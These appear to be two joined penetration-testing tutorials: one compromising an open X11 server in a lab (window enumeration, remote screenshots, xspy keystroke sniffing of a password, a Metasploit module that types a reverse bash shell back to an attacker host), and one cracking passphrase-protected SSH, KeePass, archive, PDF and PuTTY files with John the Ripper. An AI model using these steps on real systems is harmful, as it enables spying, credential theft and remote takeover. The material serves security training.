Penetration Testing on X11 Server

X is an architecture-independent system for remote graphical user interfaces and input device capabilities. Each person using a networked terminal has the ability to interact with the display with any type of user input device.

Source: Wikipedia

In most of the cases the X’s Server’s access control is disabled. But if enabled, it allows anyone to connect to the server. This Vulnerability is called X11 Server Unauthenticated Access Open. You can get more information form here.

For a proper demonstration, we will have to create up a Lab with this Vulnerability.

Lab Setup

We will use Ubuntu 14.04 system for this Vulnerable Lab setup. After the basic installation of the Ubuntu Server, we will focus on locating the “lightdm.conf” file. The Location of this file is: /etc/lightdm/lightdm.conf. But if you can’t seem to find this at that location, you can get it for yourself from here.

To edit the file, we will use gedit.

gedit /etc/lightdm/lightdm.conf

To create the vulnerability, we will uncomment the following line:

xserver-allow-tcp=true

Now that we have made changes in the conf file, to make them come in effect, we will restart the lightdm service

Command: service lightdm restart

Now when the lightdm service restarts, we will disable the access control. This will allow clients on the network to get connected to the server.

Command: xhost +

And That’s it. We have successfully created the X11 Vulnerable Server.

Penetration Testing of X11 Server

To begin the Penetration Testing, we will start with the nmap scan.

nmap -sV 192.168.1.109

As we can see from the screenshot that we have the TCP port 6000 open on the Server (192.168.1.109). Also, it is running the X11 service on that port.

Nmap have a script, which checks if the attacker is allowed to connect to the X Server. We can check if the X Sever allows us the connection as shown below.

nmap 192.168.1.109 -p 6000 --script x11-access

We can clearly see from the screenshot provided that the X Server allows us the access.

XWININFO

This is the built-in utility in Kali, it shows the windows information for X Service. In Penetration Testing, xwininfo can be used to get the information about the windows opened on the target system.

Command: xwininfo -root -tree -display 192.168.1.109:0

·         Root = specifies that X's root window is the target window

·         Tree = displays the names of the windows

·         Display = specify the server to connect to

We can extract much information from the screenshot above like:

·         Victim has Gnome Terminal Opened

·         Victim is a VMware user

·         Victim has Nautilus (Ubuntu File Browser) Opened

XWD

It is a X Window System utility that helps in taking screenshots. On our Kali System we will use the xwd to take the screenshot of Xserver. This utility takes the screenshots in xwd format.

xwd -root -screen -silent -display 192.168.1.109:0 > screenshot.xwd

Root = indicates that the root window should be selected for the window dump

Screen = indicates that the GetImage request used to obtain the image

Silent = Operate silently, i.e. don't ring any bells before and after dumping the window.

Display = specify the server to connect to

After running the aforementioned command, we will successfully capture a screenshot form the victim system.

Here we have the screenshot captured by the xwd, but it is in .xwd format, so to view it we will have to convert it to a viewable format like .png

convert screenshot.xwd screenshot.png

This command will convert the xwd to a png file. After running this command, we can find out screenshot in png file format as shown below:

On opening the png file we can see that the xwd tool have successfully captured the screenshot of the target system.

XSPY

It is a built-in tool Kali Linux for the X Window Servers. XSPY is a sniffer, it sniffs keystrokes on the remote or local X Server.

Command: xspy 192.168.1.109

As we can see from the given screenshot that we have the got the user password as the victim have unknowingly entered the password. Also see that the password is not as visible on the Server terminal but as the xspy captures the keys typed, hence we have the password typed.

Getting the Shell through Metasploit

Now we will use the X11 Keyboard Command Injection module of the Metasploit Framework. This module exploits open X11 Server by connecting and registering a virtual keyboard. Then the Virtual Keyboard is used to open an xterm or gnome terminal and then type and execute the payload.

NOTE: As X Server is a visual service, while the executing of the module will take place, every task occurring on the Target System will be visible to the Victim.

Now, after opening the Metasploit Framework, we will use the payload as shown:

use exploit/unix/x11/x11_keyboard_exec

msf exploit(unix/x11x11_keyboard_exec) > set rhost 192.168.1.109

msf exploit(unix/x11x11_keyboard_exec) > set payload cmd/unix/reverse_bash

msf exploit(unix/x11x11_keyboard_exec) > set lhost 192.168.1.120

msf exploit(unix/x11x11_keyboard_exec) > set lport 4444

msf exploit(unix/x11x11_keyboard_exec) > set time_wait 10

msf exploit(unix/x11x11_keyboard_exec) >  run

After running the module, it will first connect to the Server and search for xterm and open it.

Then after waiting for 10 seconds, it will start typing the script command on the xterm.

After executing this command, xterm will get closed, but it will provide a command shell to the Attacker as shown.

Beginners Guide for John the Ripper (Part 2)

We learned most of the basic information on John the Ripper in our Previous Article which can be found here. In this article we will use John the Ripper to crack the password hashes of some of the file formats like zip, rar, pdf and much more.

To crack theses password hashes, we are going to use some of the inbuilt and some other utilities which extract the password hash form the locked file. There are some utilities that come inbuilt with john which can be found using the following command.

locate *2john

As you can see that we have the following utilities, we will demonstrate some of them here.

Cracking the SSH Password Hash

John the Ripper can crack the SSH private key which is created in RSA Encryption. To test the cracking of the private key, first we will have to create a set of new private keys. To do this we will use a utility that comes with ssh, called “ssh-keygen”.

ssh-keygen

After opening, it asks for the location at which we want the public/private rsa key pair to store? You can use any location or you can leave it as default.

After that it asks for the passphrase, after entering the password again, we successfully generate the rsa private key. (Refer the Screenshot)

When you will try to open the file, you will be greeted by the following prompt.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “ssh2john”.

Syntax: ssh2john [location of key]

ssh2john /home/pavan/.ssh/id_rsa > crack.txt

You can see that we converted the key to a crack able hash and then entered it into a text file named id_rsa.txt.

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt

Great! We have successfully cracked the passphrase used to create the private ssh key to be “password123”

Cracking the KeepPass2 Password Hash

John the Ripper can crack the KeepPass2 key. To test the cracking of the key, first we will have to create a set of new keys. To do this we will use a utility that is called “kpcli”.

kpcli

 Now we will create a database file using command “saveas” and naming the database file as ignite.kdb and entering a passcode to secure it.

When you will try to open the file, you will be greeted by the following prompt.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “keepass2john”.

Syntax: keepass2john [location of key]

keepass2john ignite.kdb > crack.txt

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Great! We have successfully cracked the passphrase used to create the key to be “12345678”

Cracking the RAR Password Hash

Now we will crack some compressed files, to do that we will have to create a file to be compressed so let’s do that using echo command as shown in the given screenshot.

You can see that we created a file.txt which we will be using to create compressed files.

echo hackingarticles.in > file.txt

John the Ripper can crack the RAR file passwords. To test the cracking of the password, first let’s create a compressed encrypted rar file.

rar a -hpabc123 file.rar file.txt

·         a = Add files to archive

·         hp[password] = Encrypt both file data and headers

 This will compress and encrypt our file.txt into a file.rar. So, when you will try to open the file, you will be greeted by the following prompt.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “rar2john”.

Syntax: rar2john [location of key]

rar2john file.rar > crack.txt

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Great! We have successfully cracked the passphrase used to create the key to be “abc123”

Cracking the ZIP Password Hash

John the Ripper can crack the ZIP file passwords. To test the cracking of the password, first let’s create a compressed encrypted zip file.

zip -er file.zip file.txt

• e = Encrypt
•   r = Recurse into directories

This will compress and encrypt our file.txt into a file.zip. So, when you will try to open the file, you will be greeted by the following prompt.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “zip2john”.

Syntax: zip2john [location of key]

zip2john file.zip > crack.txt

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Great! We have successfully cracked the passphrase used to create the key to be “654321”

Cracking the 7-Zip Password Hash

John the Ripper can crack the 7-Zip file passwords. To test the cracking of the password, first let’s create a compressed encrypted 7z file.

7z a -mhe file.7z file.txt -p”password”

•                    a = Add files to archive

•                    m = Set compression Method

•                    h = Calculate hash values for files

•                    e = Encrypt file

•                    p = set Password

This will compress and encrypt our file.txt into a file.7z. So, when you will try to open the file, you will be greeted by the following prompt.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “7z2john”. This is not inbuilt utility, It can be downloaded from here.

Syntax: zip2john [location of key]

python 7z2john.py file.7z > crack.txt

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Great! We have successfully cracked the passphrase used to create the key to be “password”

Cracking the PDF Password Hash

John the Ripper can crack the PDF file passwords. You can encrypt your pdf online by using this website. This will compress and encrypt our pdf into a password protected file.pdf. So, when you will try to open the file, you will be greeted by the following prompt.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “pdf2john”. This is not inbuilt utility, it can be downloaded from here.

Syntax: pdf2john [location of key]

 python pdf2john.py file.pdf > crack.txt

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Great! We have successfully cracked the passphrase used to create the key to be “password123”.

Cracking the PuTTY Password Hash

John the Ripper can crack the PuTTY private key which is created in RSA Encryption. To test the cracking of the private key, first we will have to create a set of new private keys. To do this we will use a utility that comes with PuTTY, called “PuTTY Key Generator”.

Click on “Generate”. After Generating the key, we get a window where we will input the key passphrase as shown in the screenshot.

After entering the passphrase, click on Save private key to get a private key in the form of a .ppk file

After generating transfer this .ppk file to Kali Linux.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “putty2john”.

Syntax: putty2john [location of key]

putty2john file.ppk > crack.txt

You can see that we converted the key to a crack able hash and then entered it into a text file named crack.txt.

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt

Great! We have successfully cracked the passphrase used to create the private PuTTY key to be “password”.

Cracking the “Password Safe” Password Hash

John the Ripper can crack the Password Safe Software’s key. To test the cracking of the key, first we will have to create a set of new keys. To do this we will install the Password Safe Software on our Windows 10 System.

To get a new key, Click on “New”

In this prompt, check the Show Combination Box. After that Enter the Passphrase you want to use to generate the key. This will generate a .psafe3 file.

After generating transfer this .safe3 file to Kali Linux.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “pwsafe2john”.

Syntax: pwsafe2john [location of key]

pwsafe2john ignite.psafe3 > crack.txt

You can see that we converted the key to a crack able hash and then entered it into a text file named crack.txt.

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Great! We have successfully cracked the passphrase used to create the private pwsafe key to be “password123”